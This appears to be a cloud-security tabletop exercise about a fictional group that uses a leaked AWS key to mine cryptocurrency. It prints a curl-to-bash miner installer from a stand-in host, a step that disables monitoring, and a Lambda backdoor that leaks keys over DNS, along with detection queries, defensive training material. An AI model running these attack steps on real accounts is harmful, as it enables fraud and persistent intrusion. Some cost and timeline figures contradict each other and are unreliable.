Skip to content

SC-027: Cloud Cryptomining Infrastructure Abuse

Scenario Header

Type: Cloud / Financial Abuse  |  Difficulty: ★★★★☆  |  Duration: 3–4 hours  |  Participants: 4–8

Threat Actor: COIN SHADOW — financially motivated eCrime group specializing in cloud resource abuse

Primary ATT&CK Techniques: T1496 · T1078.004 · T1578 · T1204


Threat Actor Profile

COIN SHADOW is an opportunistic eCrime group active since 2023, exclusively focused on compromising cloud accounts to deploy cryptocurrency mining infrastructure. Unlike targeted APT groups, COIN SHADOW operates at scale — using automated tooling to continuously scan for exposed cloud credentials in public repositories, CI/CD logs, and paste sites, then rapidly deploying mining workloads before the account owner detects the abuse.

The group operates a sophisticated automation platform capable of deploying mining infrastructure across AWS, Azure, and GCP simultaneously. Their tooling automatically selects the highest-value instance types (GPU instances for Ethereum/Monero mining), distributes workloads across multiple regions to stay below per-region quotas, and rotates mining pool configurations to complicate attribution.

COIN SHADOW has been observed generating $50,000–$500,000 in fraudulent cloud charges per victim, with an average cloud bill impact of $127,000. They typically exhaust cloud service provider credit limits within 48–72 hours.

Motivation: Financial — cryptocurrency mining (primarily Monero via XMRig on CPUs, Ethereum via T-Rex on GPUs).

Estimated Revenue: $8M–$12M annually from ~200 compromised cloud accounts.


Target Environment

Organization: Stratos Analytics (fictional) — a data science startup with 85 employees, providing ML-powered analytics for the retail sector. Heavy cloud consumer with $40K/month baseline spend.

Component Detail
Cloud Provider AWS (primary), single account — no AWS Organizations
Regions in Use us-east-1, us-west-2
Baseline Monthly Spend ~$40,000 (EC2, S3, SageMaker)
IAM Configuration 12 IAM users, 8 IAM roles, no MFA enforced on programmatic access
Instance Types m5.xlarge (general), p3.2xlarge (ML training) — 15 running instances
Billing Alerts Single alert at 150% of monthly budget ($60,000)
Security Tooling AWS GuardDuty (enabled, default settings), no SIEM
Networking Corporate VPN at 10.40.0.0/16, NAT Gateway egress at 198.51.100.40
Source Code Private GitHub repo, GitHub Actions for CI/CD
Compromised Credential IAM Access Key AKIA4EXAMPLE1234567 — User: ml-pipeline-sa

Scenario Narrative

Phase 1 — Credential Compromise (~25 min)

A junior data scientist at Stratos Analytics commits an AWS access key to a public GitHub repository. The key belongs to the ml-pipeline-sa IAM user, which is used for automated ML training pipeline operations. The commit message reads: "fix: update config for new training cluster."

The .env file containing the key is committed at 2026-03-05T09:22:00Z. Within 14 minutes, COIN SHADOW's automated scanner detects the exposed credential via the GitHub Events API (which streams all public events in real-time):

# Exposed in public commit
AWS_ACCESS_KEY_ID=AKIA4EXAMPLE1234567
AWS_SECRET_ACCESS_KEY=EXAMPLEKEY+abcdef1234567890EXAMPLE
AWS_DEFAULT_REGION=us-east-1

The ml-pipeline-sa user has the following IAM policy attached:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ec2:*",
        "s3:*",
        "sagemaker:*",
        "iam:PassRole",
        "sts:GetCallerIdentity"
      ],
      "Resource": "*"
    }
  ]
}

The wildcard ec2:* permission is the critical misconfiguration — it allows the creation of any EC2 instance type in any region, including GPU instances that the ML pipeline never uses.

Evidence Artifacts:

Artifact Detail
GitHub Event Push event — Repo: stratos-analytics/ml-pipeline (public) — File: .env — Author: jdoe-stratos2026-03-05T09:22:00Z
AWS CloudTrail sts:GetCallerIdentity — User: ml-pipeline-sa — Source IP: 198.51.100.99 (COIN SHADOW) — 2026-03-05T09:36:14Z
AWS CloudTrail ec2:DescribeRegions — User: ml-pipeline-sa — Source IP: 198.51.100.992026-03-05T09:36:16Z
AWS CloudTrail ec2:DescribeInstanceTypeOfferings — All 24 AWS regions queried — User: ml-pipeline-sa2026-03-05T09:36:20Z
GitHub (post-incident) Commit b4c7e21 removed .env — but key already exposed for 14 minutes — 2026-03-05T09:36:00Z
Phase 1 — Discussion Inject

Technical: The AWS access key was committed to a public GitHub repository and detected within 14 minutes. What preventive controls (pre-commit hooks with git-secrets, GitHub Advanced Security secret scanning, .gitignore enforcement) would prevent credential exposure? How does AWS IAM Access Analyzer help identify overly permissive policies?

Decision: Your developer committed an AWS key to a public repo and then deleted it 14 minutes later. The developer believes the issue is resolved because the commit was reverted. How do you explain that credential rotation (not just deletion from the repo) is mandatory? What is the blast radius assessment process?

Expected Analyst Actions:

  • [ ] Immediately rotate the exposed IAM access key — disable the old key
  • [ ] Review CloudTrail for all API calls made with the compromised key
  • [ ] Check GitHub event API for evidence of third-party access to the exposed commit
  • [ ] Audit all IAM users for overly permissive policies (ec2:, s3:, etc.)
  • [ ] Verify MFA enforcement on all IAM users and root account

Phase 2 — Mass GPU Instance Deployment (~35 min)

Within 22 minutes of validating the stolen credentials, COIN SHADOW's automation platform begins deploying GPU instances across 8 AWS regions simultaneously. The attacker's tooling is sophisticated — it:

  1. Queries ec2:DescribeInstanceTypeOfferings in each region to find available GPU instance types
  2. Requests service quota increases via servicequotas:RequestServiceQuotaIncrease for GPU instances in regions where the current quota is zero
  3. Creates new VPCs and security groups in each region (Stratos only uses 2 regions)
  4. Launches instances using the cheapest available GPU type in each region

The deployment pattern:

Region Instance Type Count Cost/hr (each) GPU
us-east-1 p3.2xlarge 20 $3.06 NVIDIA V100
us-east-2 p3.2xlarge 15 $3.06 NVIDIA V100
us-west-1 g4dn.xlarge 25 $0.526 NVIDIA T4
us-west-2 p3.2xlarge 20 $3.06 NVIDIA V100
eu-west-1 g4dn.xlarge 20 $0.556 NVIDIA T4
eu-central-1 g4dn.xlarge 15 $0.578 NVIDIA T4
ap-southeast-1 g4dn.xlarge 15 $0.615 NVIDIA T4
ap-northeast-1 g4dn.xlarge 10 $0.71 NVIDIA T4

Total: 140 GPU instances — estimated hourly cost: $347/hr ($8,328/day)

Each instance boots with a user-data script that automatically downloads and configures XMRig for Monero mining:

#!/bin/bash
# User-data script (COIN SHADOW automation)
apt-get update -qq && apt-get install -y -qq libhwloc-dev
curl -sL https://198.51.100.88/xmr-deploy.sh | bash -s -- \
  --pool stratum+tcp://198.51.100.120:3333 \
  --wallet 4EXAMPLE_MONERO_WALLET_ADDRESS_SYNTHETIC \
  --threads $(nproc) \
  --gpu auto \
  --stealth true
# Disable CloudWatch agent to reduce visibility
systemctl stop amazon-cloudwatch-agent 2>/dev/null
systemctl disable amazon-cloudwatch-agent 2>/dev/null

Within 2 hours, all 140 instances are running XMRig at full capacity. The combined hash rate is approximately 280 KH/s (CPU) + 42 MH/s (GPU).

Evidence Artifacts:

Artifact Detail
AWS CloudTrail ec2:RunInstances × 140 — 8 regions — User: ml-pipeline-sa — Source IP: 198.51.100.992026-03-05T09:58:00Z to 10:22:00Z
AWS CloudTrail ec2:CreateVpc × 6 — New VPCs in us-east-2, us-west-1, eu-west-1, eu-central-1, ap-southeast-1, ap-northeast-12026-03-05T09:55:00Z
AWS CloudTrail ec2:CreateSecurityGroup × 8 — All regions — Inbound: 0.0.0.0/0:222026-03-05T09:56:00Z
AWS GuardDuty Finding: UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration — Severity: High — 2026-03-05T10:15:00Z
AWS GuardDuty Finding: CryptoCurrency:EC2/BitcoinTool.B!DNS — 47 instances — Severity: High — 2026-03-05T10:45:00Z
AWS Cost Explorer Projected daily cost: $8,328 (baseline: $1,333/day) — 625% increase — 2026-03-05
Phase 2 — Discussion Inject

Technical: The attacker deployed 140 instances across 8 regions within 24 minutes. What AWS controls (Service Control Policies, EC2 instance type restrictions, regional deployment restrictions via SCPs, service quotas) would prevent mass instance deployment? How would AWS Organizations with SCPs change the outcome?

Decision: AWS GuardDuty generated two High-severity findings within 45 minutes of the attack beginning. Your team has no SOC, and GuardDuty notifications go to a shared email inbox. How do you design an alerting pipeline for a small team? What managed services or automation (AWS Security Hub, EventBridge → SNS → PagerDuty) would ensure rapid response?

Expected Analyst Actions:

  • [ ] Terminate all unauthorized EC2 instances across all regions
  • [ ] Delete attacker-created VPCs, security groups, and other resources
  • [ ] Review GuardDuty findings for additional compromise indicators
  • [ ] Check for IAM persistence (new IAM users, access keys, or roles created by attacker)
  • [ ] Verify no data in S3 was accessed or exfiltrated using the compromised key

Phase 3 — Escalation & Persistence (~25 min)

While the mining operation runs, COIN SHADOW's tooling also establishes persistence to survive credential rotation:

  1. New IAM User: Creates svc-monitoring-agent with AdministratorAccess policy and generates access keys
  2. Lambda Backdoor: Deploys a Lambda function CloudWatchHealthCheck that, when triggered daily by an EventBridge rule, creates new access keys for the attacker if the original keys are disabled
  3. S3 Bucket for Mining Config: Creates stratos-analytics-logs-backup bucket to host mining pool configurations and binaries
# CloudTrail events showing IAM persistence
CreateUser: svc-monitoring-agent
AttachUserPolicy: arn:aws:iam::policy/AdministratorAccess
CreateAccessKey: AKIA4EXAMPLE7654321 (for svc-monitoring-agent)
# Lambda function: CloudWatchHealthCheck (attacker deployed)
import boto3
import json

def lambda_handler(event, context):
    iam = boto3.client('iam')
    try:
        # Check if primary key still works
        sts = boto3.client('sts')
        sts.get_caller_identity()
    except:
        # If primary key rotated, create new one
        keys = iam.create_access_key(UserName='svc-monitoring-agent')
        # Exfiltrate new key via DNS
        import socket
        key_id = keys['AccessKey']['AccessKeyId']
        socket.getaddrinfo(f'{key_id}.keys.198.51.100.88.nip.io', 80)
    return {'statusCode': 200}
{
  "Name": "CloudWatchHealthSchedule",
  "ScheduleExpression": "rate(6 hours)",
  "Targets": [{
    "Arn": "arn:aws:lambda:us-east-1:123456789012:function:CloudWatchHealthCheck",
    "Id": "health-check-target"
  }]
}

Evidence Artifacts:

Artifact Detail
AWS CloudTrail iam:CreateUser — User: svc-monitoring-agent — Created by: ml-pipeline-sa — Source IP: 198.51.100.992026-03-05T10:05:22Z
AWS CloudTrail iam:AttachUserPolicy — Policy: AdministratorAccess — User: svc-monitoring-agent2026-03-05T10:05:25Z
AWS CloudTrail lambda:CreateFunction — Function: CloudWatchHealthCheck — Runtime: python3.122026-03-05T10:08:44Z
AWS CloudTrail events:PutRule — Rule: CloudWatchHealthSchedule — Schedule: rate(6 hours)2026-03-05T10:09:01Z
AWS CloudTrail s3:CreateBucket — Bucket: stratos-analytics-logs-backup — Region: us-east-12026-03-05T10:10:33Z
AWS GuardDuty Finding: Persistence:IAMUser/UserPermissions — New IAM user with admin access — Severity: High — 2026-03-05T10:30:00Z
Phase 3 — Discussion Inject

Technical: The attacker created a Lambda-based persistence mechanism that automatically generates new access keys if the original ones are rotated. How would you detect this? What IAM monitoring (CloudTrail analysis for CreateAccessKey, CreateUser, AttachUserPolicy) should be automated?

Decision: You need to revoke the attacker's access, but they have created multiple persistence mechanisms (new IAM user, Lambda backdoor, EventBridge rule). What is the correct order of operations for remediation? If you rotate keys before removing the Lambda backdoor, what happens?

Expected Analyst Actions:

  • [ ] Identify all IAM users and roles created since the credential compromise
  • [ ] Delete attacker-created IAM user svc-monitoring-agent and its access keys
  • [ ] Delete Lambda function CloudWatchHealthCheck and EventBridge rule
  • [ ] Delete attacker-created S3 bucket and all contents
  • [ ] Review all Lambda functions for backdoor code
  • [ ] Audit EventBridge rules for suspicious scheduled triggers

Phase 4 — Detection, Response & Financial Impact (~25 min)

Stratos Analytics' cloud bill escalates rapidly. The single billing alert at 150% ($60,000) fires on Day 3 — by which time the cumulative charges have already reached $24,984. The alert email goes to finance@stratos-analytics.example.com, where it sits unread until Monday morning (the alert fired on Saturday).

Financial Impact Timeline:

Day Daily Cost Cumulative Event
Day 1 (Wed) $8,328 $8,328 Mining begins — no alerts
Day 2 (Thu) $8,328 $16,656 GuardDuty findings generated — email unread
Day 3 (Fri) $8,328 $24,984 Billing alert fires at 150% threshold — email sent
Day 4 (Sat) $8,328 $33,312 Weekend — no one monitoring alerts
Day 5 (Sun) $8,328 $41,640 Weekend — mining continues
Day 6 (Mon) $8,328 $49,968 Finance team reads billing alert — escalates to IT
Day 6 (Mon+4h) $49,968 IT investigates — discovers unauthorized instances
Day 6 (Mon+6h) $49,968 Incident response begins — instances terminated
Days 7–30 AWS support case for billing adjustment
Final $49,968 Total unauthorized charges (before AWS adjustment)

After termination, Stratos Analytics discovers additional charges:

Resource Cost
EC2 GPU instances (140 × 5.5 days) $45,804
Data transfer (mining pool traffic) $2,847
S3 storage (mining binaries) $12
Lambda invocations $0.18
NAT Gateway traffic (attacker regions) $1,305
Total Unauthorized Charges $49,968

AWS Support grants a one-time courtesy credit of $38,000 after reviewing CloudTrail evidence confirming unauthorized access. Stratos Analytics absorbs $11,968 in losses.

Evidence Artifacts:

Artifact Detail
AWS Billing Alert Budget monthly-budget exceeded 150% — Forecasted: $289,000 — 2026-03-07T18:00:00Z (Saturday)
AWS Cost Explorer EC2 spend by region — 6 new regions with zero historical baseline — 2026-03-05 to 2026-03-10
AWS Support Case Case #1234567890 — "Unauthorized EC2 usage — compromised IAM key" — Opened: 2026-03-10T15:30:00Z
AWS Credit Memo One-time courtesy credit: $38,000 — "First-time unauthorized usage incident" — 2026-03-18
Phase 4 — Discussion Inject

Technical: The billing alert at 150% was the only financial control and it fired 3 days after the attack began. What billing alert strategy (multiple thresholds at 110%, 125%, 150%, anomaly-based daily alerts, per-service alerts) would provide earlier detection? How do AWS Budgets Actions (automatic remediation) help?

Decision: AWS granted a $38,000 courtesy credit, leaving $11,968 in unrecoverable charges. The compromised key was committed by a junior developer. How do you handle the human element — accountability without blame culture? What training and tooling investments would you make?

Expected Analyst Actions:

  • [ ] Generate a complete Cost Explorer report grouped by region, service, and instance type
  • [ ] Document all unauthorized resources for the AWS support case
  • [ ] Verify all attacker-created resources have been terminated across all 24 regions
  • [ ] Open AWS support case with CloudTrail evidence for billing adjustment
  • [ ] Implement automated remediation for future billing anomalies

Indicators of Compromise (IOCs)

Synthetic IOCs — For Training Only

All indicators below are fictional and created for this exercise. Do not use in production detection systems.

IOC Type Value Context
IP Address 198.51.100.99 COIN SHADOW automation platform
IP Address 198.51.100.88 Mining binary hosting server
IP Address 198.51.100.120 Monero mining pool proxy
IAM Access Key AKIA4EXAMPLE1234567 Compromised key (ml-pipeline-sa)
IAM Access Key AKIA4EXAMPLE7654321 Persistence key (svc-monitoring-agent)
IAM User svc-monitoring-agent Attacker-created persistence user
Lambda Function CloudWatchHealthCheck Persistence backdoor
EventBridge Rule CloudWatchHealthSchedule Triggers Lambda backdoor every 6 hours
S3 Bucket stratos-analytics-logs-backup Mining configuration storage
User-Data Script curl -sL https://198.51.100.88/xmr-deploy.sh Mining deployment script
Monero Wallet 4EXAMPLE_MONERO_WALLET_ADDRESS_SYNTHETIC Mining wallet (fictional)
Mining Pool stratum+tcp://198.51.100.120:3333 Mining pool endpoint

Detection Opportunities

Phase Technique ATT&CK Detection Method Difficulty
1 Credential exposure T1552.001 GitHub secret scanning, pre-commit hooks (git-secrets) Easy
1 Valid cloud account usage T1078.004 CloudTrail: API calls from new/unexpected source IPs Easy
2 Resource hijacking T1496 GuardDuty: CryptoCurrency findings, EC2 instance type anomaly Easy
2 Modify cloud compute T1578 CloudTrail: RunInstances in unused regions, GPU instance creation Easy
3 Create account persistence T1136.003 CloudTrail: CreateUser with AdministratorAccess Easy
3 Lambda backdoor T1078.004 CloudTrail: CreateFunction from compromised identity Medium
4 Financial anomaly T1496 AWS Budgets: daily cost anomaly detection Easy
4 Mining pool traffic T1496 VPC Flow Logs: outbound stratum protocol connections Medium

SIEM Detection Queries

// Detect EC2 instance launches in unusual regions
AWSCloudTrail
| where EventName == "RunInstances"
| where AWSRegion !in ("us-east-1", "us-west-2")
| summarize InstanceCount = count() by AWSRegion, UserIdentityArn, SourceIpAddress, bin(TimeGenerated, 1h)
| where InstanceCount > 5
| sort by InstanceCount desc

// Detect GPU instance launches
AWSCloudTrail
| where EventName == "RunInstances"
| where RequestParameters has_any ("p3.", "p4.", "g4dn.", "g5.", "p5.")
| project TimeGenerated, UserIdentityArn, SourceIpAddress, AWSRegion,
          InstanceType = extract('"instanceType":"([^"]+)"', 1, RequestParameters)
| sort by TimeGenerated desc

// Detect IAM user creation with admin policy
AWSCloudTrail
| where EventName in ("CreateUser", "AttachUserPolicy")
| where RequestParameters has "AdministratorAccess"
| project TimeGenerated, UserIdentityArn, SourceIpAddress, EventName,
          TargetUser = extract('"userName":"([^"]+)"', 1, RequestParameters)

// Detect API calls from unexpected source IPs
AWSCloudTrail
| where UserIdentityArn has "ml-pipeline-sa"
| where SourceIpAddress != "198.51.100.40"
| summarize EventCount = count(), Events = make_set(EventName) by SourceIpAddress, bin(TimeGenerated, 1h)
| sort by TimeGenerated desc
// Detect EC2 launches in unusual regions
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
NOT awsRegion IN ("us-east-1", "us-west-2")
| stats count as instance_count by awsRegion, userIdentity.arn, sourceIPAddress
| where instance_count > 5
| sort -instance_count

// Detect GPU instance type launches
index=aws sourcetype=aws:cloudtrail eventName=RunInstances
requestParameters="*p3.*" OR requestParameters="*p4.*"
OR requestParameters="*g4dn.*" OR requestParameters="*g5.*"
| spath output=instance_type path=requestParameters.instanceType
| table _time, userIdentity.arn, sourceIPAddress, awsRegion, instance_type

// Detect new IAM users with admin policies
index=aws sourcetype=aws:cloudtrail
eventName=CreateUser OR eventName=AttachUserPolicy
requestParameters="*AdministratorAccess*"
| table _time, userIdentity.arn, sourceIPAddress, eventName, requestParameters

// Detect compromised key usage from unknown IPs
index=aws sourcetype=aws:cloudtrail
userIdentity.arn="*ml-pipeline-sa*"
NOT sourceIPAddress="198.51.100.40"
| stats count, values(eventName) as events by sourceIPAddress
| sort -count

ATT&CK Mapping

Tactic Technique ID Scenario Application
Initial Access Valid Accounts: Cloud Accounts T1078.004 Compromised IAM access key from public GitHub repository
Execution User Execution T1204 EC2 user-data script automatically deploys mining software
Persistence Create Account: Cloud Account T1136.003 New IAM user svc-monitoring-agent with admin access
Persistence Serverless Execution T1648 Lambda function as persistence backdoor
Defense Evasion Modify Cloud Compute Infrastructure T1578 Instances deployed in unused regions to avoid monitoring
Defense Evasion Impair Defenses T1562.001 CloudWatch agent disabled on mining instances
Impact Resource Hijacking T1496 140 GPU instances mining cryptocurrency — $49,968 in charges
Discovery Cloud Infrastructure Discovery T1580 DescribeRegions, DescribeInstanceTypeOfferings enumeration

Response Actions

Immediate Response (0–2 hours)

  • [ ] Contain: Disable compromised IAM access key AKIA4EXAMPLE1234567 immediately
  • [ ] Contain: Delete attacker-created IAM user svc-monitoring-agent and all its access keys
  • [ ] Contain: Delete Lambda function CloudWatchHealthCheck and EventBridge rule
  • [ ] Contain: Terminate all unauthorized EC2 instances across ALL 24 AWS regions
  • [ ] Contain: Delete attacker-created VPCs, security groups, and S3 buckets
  • [ ] Detect: Review CloudTrail for any additional persistence mechanisms

Short-Term Response (2–48 hours)

  • [ ] Investigate: Full CloudTrail analysis — enumerate all API calls from compromised key
  • [ ] Investigate: Verify no data exfiltration from S3 buckets
  • [ ] Investigate: Check for modified Lambda functions, EventBridge rules, or SNS topics
  • [ ] Remediate: Rotate all IAM access keys across the organization
  • [ ] Remediate: Enable MFA on all IAM users — enforce via IAM policy
  • [ ] Financial: Open AWS support case with CloudTrail evidence for billing credit
  • [ ] Financial: Document all unauthorized charges with timestamps and resource IDs

Long-Term Remediation (1–4 weeks)

  • [ ] Harden: Implement AWS Organizations with SCPs restricting regions, instance types, and services
  • [ ] Harden: Deploy pre-commit hooks (git-secrets, trufflehog) on all developer workstations
  • [ ] Harden: Enable GitHub Advanced Security secret scanning on all repositories
  • [ ] Harden: Implement least-privilege IAM policies — replace ec2:* with specific actions
  • [ ] Harden: Configure multiple billing alerts (110%, 125%, 150%, 200%) with SNS → PagerDuty
  • [ ] Harden: Enable AWS Budgets Actions to automatically restrict EC2 when budget exceeded
  • [ ] Harden: Deploy GuardDuty findings to EventBridge → SNS → PagerDuty for real-time alerting
  • [ ] Harden: Implement SCP to deny GPU instance types unless explicitly approved
  • [ ] Train: Mandatory secure coding training for all developers — credential management module

Lessons Learned

What Went Well

  • AWS GuardDuty detected the cryptocurrency mining activity within 45 minutes of instance launch
  • CloudTrail provided complete audit trail for forensic investigation and AWS billing credit claim
  • AWS Support granted a significant courtesy credit ($38,000) based on documented evidence

What Failed

  • No secret scanning: No pre-commit hooks, no GitHub secret scanning — the exposed key was preventable
  • Overly permissive IAM policy: ec2:* on Resource: * allowed the attacker to launch any instance in any region — the ML pipeline only needed RunInstances for specific instance types in 2 regions
  • Single billing alert at too high a threshold: 150% of monthly budget meant the alert did not fire until Day 3, by which time $25K in charges had accumulated
  • No alerting pipeline for GuardDuty: Findings went to a shared email inbox, unmonitored on weekends
  • No MFA on programmatic access: The compromised access key had no MFA requirement, allowing immediate use by the attacker
  • No region restrictions: The AWS account had no Service Control Policies restricting which regions could be used

Key Takeaways

  1. Credential exposure is the fastest path to cloud compromise — pre-commit scanning and secret detection are essential controls with high ROI
  2. IAM least privilege prevents blast radius expansion — restricting ec2:* to specific instance types and regions would have blocked the GPU deployment entirely
  3. Billing monitoring is a security control — anomaly-based daily cost alerts detect resource hijacking faster than percentage-based monthly thresholds
  4. Alerting pipelines must be 24/7 — email-only alerting with no on-call rotation means weekend incidents go undetected for days
  5. AWS Organizations and SCPs are critical for governance — single-account setups lack the guardrails to prevent region and service sprawl

Discussion Questions

  1. The compromised IAM key had ec2:* permissions. What is the practical process for implementing least-privilege IAM policies in a startup environment where developers prioritize speed? How do tools like IAM Access Analyzer and CloudTrail-based policy generation help?
  2. COIN SHADOW's automation deployed 140 instances within 24 minutes. How would AWS Service Control Policies (SCPs) with region restrictions and instance type allow-lists prevent this? What SCPs would you deploy?
  3. The billing alert fired on Day 3 (Saturday) and went unread until Monday. Design a cost anomaly detection system that would have detected this within 2 hours of the attack beginning.
  4. The attacker created a Lambda-based persistence mechanism. How do you systematically audit for serverless persistence (Lambda, Step Functions, EventBridge) in AWS? What automation would you build?
  5. AWS granted a $38,000 courtesy credit. What if they hadn't? How does cyber insurance cover cloud resource abuse? What contractual protections should cloud customers negotiate?

References